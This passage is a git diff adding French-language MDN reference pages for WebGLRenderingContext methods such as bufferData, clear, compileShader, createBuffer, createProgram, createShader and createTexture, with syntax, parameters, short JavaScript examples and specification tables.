+    <li><code>gl.DYNAMIC_READ</code> : le contenu du tampon est susceptible d'être utilisé souvent et de changer souvent ; du contenu est lu depuis le tampon, mais non écrit ;</li>
+    <li><code>gl.STREAM_READ</code> : le contenu du tampon est susceptible de ne pas être utilisé souvent ; du contenu est lu depuis le tampon, mais non écrit ;</li>
+    <li><code>gl.STATIC_COPY</code> : le contenu du tampon est susceptible d'être utilisé souvent et de ne pas changer souvent ; aucun contenu n'est écrit ou lu par l'utilisateur ;</li>
+    <li><code>gl.DYNAMIC_COPY</code> : le contenu du tampon est susceptible d'être utilisé souvent et de changer souvent ; aucun contenu n'est écrit ou lu par l'utilisateur ;</li>
+    <li><code>gl.STREAM_COPY</code> : le contenu du tampon est susceptible d'être utilisé souvent et de ne pas changer souvent ; aucun contenu n'est écrit ou lu par l'utilisateur.</li>
+   </ul>
+  </li>
+ </ul>
+ </dd>
+ <dt>decalageSrc</dt>
+ <dd>Un {{domxref("GLuint")}} indiquant le décalage d'indice d'élément où commencer à lire dans le tampon.</dd>
+ <dt><code>longueur</code> {{optional_inline}}</dt>
+ <dd>Un {{domxref("GLuint")}} valant 0 par défaut.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Aucune.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li>Une erreur <code>gl.OUT_OF_MEMORY</code> est déclenchée si le contexte ne peut pas créer un magasin de données de la <code>taille</code> indiquée.</li>
+ <li>Une erreur<code>gl.INVALID_VALUE</code> est déclenchée si <code>taille</code> est négative.</li>
+ <li>Une erreur <code>gl.INVALID_ENUM</code> est déclenchée si <code>cible</code> ou<code>utilisation</code> ne sont pas l'un des enums autorisés.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_bufferData">Utilisation de <code>bufferData</code></h3>
+
+<pre class="brush: js">var canevas = document.getElementById('canevas');
+var gl = canevas.getContext('webgl');
+var tampon = gl.createBuffer();
+gl.bindBuffer(gl.ARRAY_BUFFER, tampon);
+gl.bufferData(gl.ARRAY_BUFFER, 1024, gl.STATIC_DRAW);
+</pre>
+
+<h3 id="Récupération_de_l'information_de_tampon">Récupération de l'information de tampon</h3>
+
+<p>Pour vérifier l'utilisation du tampon en cours et la taille du tampon, utiliser la méthode {{domxref("WebGLRenderingContext.getBufferParameter()")}}.</p>
+
+<pre class="brush: js">gl.getBufferParameter(gl.ARRAY_BUFFER, gl.BUFFER_SIZE);
+gl.getBufferParameter(gl.ARRAY_BUFFER, gl.BUFFER_USAGE);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.5", "bufferData")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glBufferData.xml", "glBufferData")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>
+    <p>Page man de l’API OpenGL.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 3.0', "glBufferData.xhtml", "glBufferData")}}</td>
+   <td>{{Spec2('OpenGL ES 3.0')}}</td>
+   <td>
+    <p>Page man de l’API OpenGL ES 3 (similaire).</p>
+    Ajoute les noouveaux tampons <code>cible</code> :<br>
+    <code>gl.COPY_READ_BUFFER</code>,<br>
+    <code>gl.COPY_WRITE_BUFFER</code>,<br>
+    <code>gl.TRANSFORM_FEEDBACK_BUFFER</code>,<br>
+    <code>gl.UNIFORM_BUFFER</code>,<br>
+    <code>gl.PIXEL_PACK_BUFFER</code>,<br>
+    <code>gl.PIXEL_UNPACK_BUFFER</code><br>
+    <br>
+    Ajoute les nouvelles indications d'<code>utilisation</code> :<br>
+    <code>gl.STATIC_READ</code>,<br>
+    <code>gl.DYNAMIC_READ</code>,<br>
+    <code>gl.STREAM_READ</code>,<br>
+    <code>gl.STATIC_COPY</code>,<br>
+    <code>gl.DYNAMIC_COPY</code>,<br>
+    <code>gl.STREAM_COPY</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.bufferData")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.createBuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.bufferSubData()")}}</li>
+ <li>Autres tampons : {{domxref("WebGLFramebuffer")}}, {{domxref("WebGLRenderbuffer")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/canevas/index.html b/files/fr/web/api/webglrenderingcontext/canevas/index.html
new file mode 100644
index 0000000000..6b7965a1d7
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/canevas/index.html
@@ -0,0 +1,75 @@
+---
+title: WebGLRenderingContext.canvas
+slug: Web/API/WebGLRenderingContext/canevas
+tags:
+  - Propriété
+  - WebGL
+  - WebGLRenderingContext
+  - lecture seule
+translation_of: Web/API/WebGLRenderingContext/canvas
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>La propriété <code>WebGLRenderingContext.canvas</code> est une référence en lecture seule à l'objet {{domxref("HTMLCanvasElement")}} ou {{domxref("OffscreenCanvas")}} associé au contexte. Il peut s'agir de {{jsxref("null")}} s'il n'est pas associé à un élément {{HTMLElement("canvas")}} ou à un objet {{domxref("OffscreenCanvas")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var><em>gl</em></var>.canvas;</pre>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Soit un objet {{domxref("HTMLCanvasElement")}} ou {{domxref("OffscreenCanvas")}}, soit {{jsxref("null")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Élément_canevas">Élément canevas</h3>
+
+<p>Étant donné cet élément {{HTMLElement("canvas")}} :</p>
+
+<pre class="brush: html">&lt;canvas id="canevas"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>Vous pouvez en récupérer une référence à partir du <code>WebGLRenderingContext</code> en utilisant la propriété <code>canvas</code> :</p>
+
+<pre class="brush: js">var canevas = document.getElementById('canevas');
+var gl = canevas.getContext('webgl');
+gl.canvas; // HTMLCanvasElement
+</pre>
+
+<h3 id="Canevas_hors_écran">Canevas hors écran</h3>
+
+<p>Exemple d'utilisation de l'objet expérimental {{domxref("OffscreenCanvas")}}.</p>
+
+<pre class="brush: js">var horsEcran = new OffscreenCanvas(256, 256);
+var gl = horsEcran.getContext('webgl');
+gl.canvas; // OffscreenCanvas</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#DOM-WebGLRenderingContext-canvas", "WebGLRenderingContext.canvas")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">La table de compatibilité de cette page est générée à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.canvas")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("CanvasRenderingContext2D.canvas")}}</li>
+ <li>{{domxref("OffscreenCanvas")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/clear/index.html b/files/fr/web/api/webglrenderingcontext/clear/index.html
new file mode 100644
index 0000000000..30ac2f90a7
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/clear/index.html
@@ -0,0 +1,95 @@
+---
+title: WebGLRenderingContext.clear()
+slug: Web/API/WebGLRenderingContext/clear
+tags:
+  - API
+  - Méthode
+  - Reference
+  - WebGL
+  - WebGLRenderingContext
+translation_of: Web/API/WebGLRenderingContext/clear
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>La méthode <strong><code>WebGLRenderingContext.clear()</code></strong> de <a href="/fr/docs/Web/API/WebGL_API">l'API WebGL</a> efface les tampons avec des valeurs prédéfinies.</p>
+
+<p>Ces valeurs prédéfinies peuvent être affectées par {{domxref("WebGLRenderingContext.clearColor", "clearColor()")}}, {{domxref("WebGLRenderingContext.clearDepth", "clearDepth()")}} ou {{domxref("WebGLRenderingContext.clearStencil", "clearStencil()")}}.</p>
+
+<p>Les masques d'écriture, de détourage, de tramage et de tampon peuvent affecter la méthode <code>clear()</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var>gl</var>.clear(<var>masque</var>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>masque</code></dt>
+ <dd>Un masque OU par bits {{domxref("GLbitfield")}} qui indique les tampons à effacer. Les valeurs possibles sont :
+ <ul>
+  <li><code>gl.COLOR_BUFFER_BIT</code></li>
+  <li><code>gl.DEPTH_BUFFER_BIT</code></li>
+  <li><code>gl.STENCIL_BUFFER_BIT</code></li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Aucune.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Si <em>masque</em> n'est pas l'une des valeurs possibles listées, une erreur <code>gl.INVALID_ENUM</code> est déclenchée.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>La méthode <code>clear()</code> accepte des valeurs multiples.</p>
+
+<pre class="brush: js">gl.clear(gl.DEPTH_BUFFER_BIT);
+gl.clear(gl.DEPTH_BUFFER_BIT | gl.COLOR_BUFFER_BIT);
+</pre>
+
+<p>Pour obtenir les valeurs d'effacement courantes, interrogez les constantes <code>COLOR_CLEAR_VALUE</code>, <code>DEPTH_CLEAR_VALUE</code> et <code>STENCIL_CLEAR_VALUE</code> grâce à la méthode <code>getParameter()</code>.</p>
+
+<pre class="brush: js">gl.getParameter(gl.COLOR_CLEAR_VALUE);
+gl.getParameter(gl.DEPTH_CLEAR_VALUE);
+gl.getParameter(gl.STENCIL_CLEAR_VALUE);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.11", "clear")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glClear.xml", "glClear")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Page man de l'API OpenGL.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cetee page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, regardez<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.clear")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.clearColor()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.clearDepth()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.clearStencil()")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/compileshader/index.html b/files/fr/web/api/webglrenderingcontext/compileshader/index.html
new file mode 100644
index 0000000000..4ed08424b7
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/compileshader/index.html
@@ -0,0 +1,87 @@
+---
+title: WebGLRenderingContext.compileShader()
+slug: Web/API/WebGLRenderingContext/compileShader
+tags:
+  - API
+  - Méthode
+  - Reference
+  - WebGL
+  - WebGLRenderingContext
+translation_of: Web/API/WebGLRenderingContext/compileShader
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>La méthode <strong>WebGLRenderingContext.compileShader()</strong> de l'<a href="/fr-FR/docs/Web/API/WebGL_API">API WebGL</a> compile un shader GLSL en données binaires, de sorte qu'il puisse être utilisé par un {{domxref("WebGLProgram")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var><em>gl</em>.compileShader</var><var>(shader);</var>
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>shader</code></dt>
+ <dd>Un {{domxref("WebGLShader")}} de fragments ou de sommets.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var shader = gl.createShader(gl.VERTEX_SHADER);
+gl.shaderSource(shader, sourceShader);
+gl.compileShader(shader);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.9", "compileShader")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glCompileShader.xml", "glCompileShader")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Page man OpenGL.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurée. Si vous souhaitez contribuer eux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.compileShader")}}</p>
+
+<h2 id="Voire_aussi">Voire aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLProgram")}}</li>
+ <li>{{domxref("WebGLShader")}}</li>
+ <li>{{domxref("WebGLRenderingContext.attachShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.detachShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getAttachedShaders()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getProgramParameter()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getProgramInfoLog()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderParameter()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderPrecisionFormat()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderInfoLog()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderSource()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.linkProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.shaderSource()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.useProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.validateProgram()")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/createbuffer/index.html b/files/fr/web/api/webglrenderingcontext/createbuffer/index.html
new file mode 100644
index 0000000000..90ed1bac1e
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/createbuffer/index.html
@@ -0,0 +1,77 @@
+---
+title: WebGLRenderingContext.createBuffer()
+slug: Web/API/WebGLRenderingContext/createBuffer
+tags:
+  - API
+  - Méthode
+  - Reference
+  - WebGL
+  - WebGLRenderingContext
+translation_of: Web/API/WebGLRenderingContext/createBuffer
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>La méthode <strong><code>WebGLRenderingContext.createBuffer() </code></strong>de l'<a href="/fr-FR/docs/Web/API/WebGL_API">API WebGL</a> crée et initialise un {{domxref ("WebGLBuffer")}} stockant des données telles que des sommets ou des couleurs.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">WebGLBuffer <var>gl</var>.createBuffer();
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Aucun.</p>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Un {{domxref("WebGLBuffer")}} stockant des données telles que des sommets ou des couleurs.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Création_d'un_tampon">Création d'un tampon</h3>
+
+<pre class="brush: js">var canevas = document.getElementById('canevas');
+var gl = canevas.getContext('webgl');
+var tampon = gl.createBuffer();
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.5", "createBuffer")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>
+    <p>Définition initiale.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glGenBuffers.xml", "glGenBuffers")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>
+    <p>Page man de l’API OpenGL (similaire).</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.createBuffer")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.bindBuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteBuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isBuffer()")}}</li>
+ <li>Autres tampons : {{domxref("WebGLFramebuffer")}}, {{domxref("WebGLRenderbuffer")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/createprogram/index.html b/files/fr/web/api/webglrenderingcontext/createprogram/index.html
new file mode 100644
index 0000000000..2cf95743c7
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/createprogram/index.html
@@ -0,0 +1,87 @@
+---
+title: WebGLRenderingContext.createProgram()
+slug: Web/API/WebGLRenderingContext/createProgram
+tags:
+  - API
+  - Méthode
+  - Reference
+  - WebGL
+  - WebGLRenderingContext
+translation_of: Web/API/WebGLRenderingContext/createProgram
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>La méthode <code><strong>WebGLRenderingContext.createProgram()</strong></code> de l'<a href="/fr-FR/docs/Web/API/WebGL_API">API WebGL</a> crée et initialise un objet {{domxref("WebGLProgram")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">WebGLProgram <var>gl</var>.createProgram();
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Aucun.</p>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Un objet {{domxref("WebGLProgram")}} qui est une combinaison de deux {{domxref("WebGLShader")}}s compilés, constitués d'un shader de sommet et d'un shader de fragment (tous deux écrits en GLSL). Ceux-ci sont ensuite liés en un programme utilisable.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Création_d'un_programme_WebGL">Création d'un programme WebGL</h3>
+
+<pre class="brush: js">var programme = gl.createProgram();
+
+// Attacher les shaders pré-existants
+gl.attachShader(programme, shaderDeSommet);
+gl.attachShader(programme, shaderDeFragment);
+
+gl.linkProgram(programme);
+
+if ( !gl.getProgramParameter( programme, gl.LINK_STATUS) ) {
+  var info = gl.getProgramInfoLog(program);
+  throw 'Impossible de compiler le programme WebGL. \n\n' + info;
+}
+</pre>
+
+<p>Voir {{domxref ("WebGLShader")}} pour plus d'informations sur la création du <code>shaderDeSommet</code> et du <code>shaderDeFragment</code> dans l'exemple ci-dessus.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.9", "createProgram")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glCreateProgram.xml", "glCreateProgram")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Page man de l'API OpenGL (similaire).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.createProgram")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.deleteProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.linkProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.useProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.validateProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getProgramParameter()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getProgramInfoLog()")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/createshader/index.html b/files/fr/web/api/webglrenderingcontext/createshader/index.html
new file mode 100644
index 0000000000..2d6f836232
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/createshader/index.html
@@ -0,0 +1,87 @@
+---
+title: WebGLRenderingContext.createShader()
+slug: Web/API/WebGLRenderingContext/createShader
+tags:
+  - API
+  - Graphiques
+  - Méthode
+  - Reference
+  - Shader
+  - WebGL
+translation_of: Web/API/WebGLRenderingContext/createShader
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>La méthode <strong>WebGLRenderingContext.createShader() de l'</strong><a href="/fr-FR/docs/Web/API/WebGL_API">API WebGL</a> crée un {{domxref("WebGLShader")}}, qui peut alors être configuré davantage en utilisant {{domxref("WebGLRenderingContext.shaderSource()")}} et {{domxref("WebGLRenderingContext.compileShader()")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">WebGLShader <var><em>gl</em>.</var>createShader<var>(type);</var>
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>Soit <code>gl.VERTEX_SHADER</code>, soit <code>gl.FRAGMENT_SHADER</code></dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Voir {{domxref("WebGLShader")}} pour l'utilisation et des exemples.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.9", "createShader")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glCreateShader.xml", "glCreateShader")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Page man OpenGL.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.createShader")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLProgram")}}</li>
+ <li>{{domxref("WebGLShader")}}</li>
+ <li>{{domxref("WebGLRenderingContext.attachShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.bindAttribLocation()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.compileShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.detachShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getAttachedShaders()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getProgramParameter()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getProgramInfoLog()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderParameter()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderPrecisionFormat()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderInfoLog()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderSource()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.linkProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.shaderSource()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.useProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.validateProgram()")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/createtexture/index.html b/files/fr/web/api/webglrenderingcontext/createtexture/index.html
new file mode 100644
index 0000000000..a2ea8939ab
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/createtexture/index.html
@@ -0,0 +1,78 @@
+---
+title: WebGLRenderingContext.createTexture()
+slug: Web/API/WebGLRenderingContext/createTexture
+tags:
+  - API
+  - Méthode
+  - Reference
+  - Textures
+  - WebGL
+  - WebGLRenderingContext
+translation_of: Web/API/WebGLRenderingContext/createTexture
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>La méthode <strong><code>WebGLRenderingContext.createTexture()</code></strong> de l'API WebGL crée et initialise un objet {{domxref("WebGLTexture")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">WebGLTexture <var>gl</var>.createTexture();
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Aucun.</p>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Un objet {{domxref("WebGLTexture")}} auquel des images peuvent être liées.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Voir aussi le <a href="/fr-FR/docs/Web/API/WebGL_API/Tutorial">tutoriel WebGL</a> sur l'<a href="/fr-FR/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">Utilisation de textures en WebGL</a>.</p>
+
+<h3 id="Création_d'une_texture">Création d'une texture</h3>
+
+<pre class="brush: js">var canevas = document.getElementById('canevas');
+var gl = canevas.getContext('webgl');
+var texture = gl.createTexture();
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.8", "createTexture")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>
+    <p>Définition initiale.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glGenTextures.xml", "glGenTextures")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Page man de l’API OpenGL (similaire).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.createTexture")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.bindTexture()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteTexture()")}}</li>
